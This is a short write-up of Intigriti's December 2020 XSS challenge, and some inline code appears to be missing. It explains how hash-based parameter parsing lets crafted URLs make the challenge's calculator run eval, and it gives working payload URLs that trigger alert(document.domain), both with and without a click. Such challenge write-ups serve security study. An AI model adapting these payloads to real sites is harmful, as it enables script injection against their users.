Intigriti's December XSS Challenge Writeup
This month’s Intigriti’s XSS challenge was interesting as a couple of hours after Frans Rosén submitted an unintended solution, and I got interested in that one more than in the original.
Challenge on webarchive https://web.archive.org/web/20201208103813/https://challenge-1220.intigriti.io/. Vulnerable script on webarchive https://web.archive.org/web/20201210000939/https://challenge-1220.intigriti.io/script.js.
Parsing query parameters using custom function (e.g.
getQueryVariable, line 3) allows to specify those in URL hash on line 11 (below)
String.prototype.indexOf() is looking for the first occurance of
? (question mark):
Two of the sources (
num2) are passed to
setNumber function (line 23) when clicking on a number, which itself then passes it to
parseInt (lines 101, 104), also there is no protection against iframing it, so, having such URL https://challenge-1220.intigriti.io/#?num1=parseInt&operator=%3d&num2=eval in an iframe, we can execute
operation in the context of the vulnerable webpage, because
= is whitelisted as an operator:
Now we can redirect the iframe to a new hash https://challenge-1220.intigriti.io/#?num1=parseInt&operator=%3d&num2=alert(document.domain)// and as, only, the URL hash is changed, no request is going to be sent to the server and if the user hits any number, the following script will be executed
A similar technique can be leveraged when having
calc=eval executed then redirecting to a new hash https://challenge-1220.intigriti.io/#?num1=alert(document.domain)&operator=%3d&num2=eval, where the user has to hit an operator
Now the intended one, that leads to DOM XSS (Cross site swagging) with no user interaction.
Very right, because
getQueryVariable iterates in a loop and takes the value of the last occurrence of the requested parameter (lines 5-10)
- https://challenge-1220.intigriti.io/?num1=onhashchange&operator=%3d&num2=init&#d& - execute
- https://challenge-1220.intigriti.io/?num1=onhashchange&operator=%3d&num2=init&#d&num1=calc&num2=eval - changing hash, triggering
initnow and executing
- https://challenge-1220.intigriti.io/?num1=onhashchange&operator=%3d&num2=init&#d&num1=calc&num2=eval&num1=alert(‘achievement%20unlocked:%20unlimited%20swag%20vouchers%20’%2bdocument.domain) - triggering
alert('achievement unlocked: unlimited swag vouchers '+document.domain)to
Now you can claim your unlimited swag voucher with 0 click: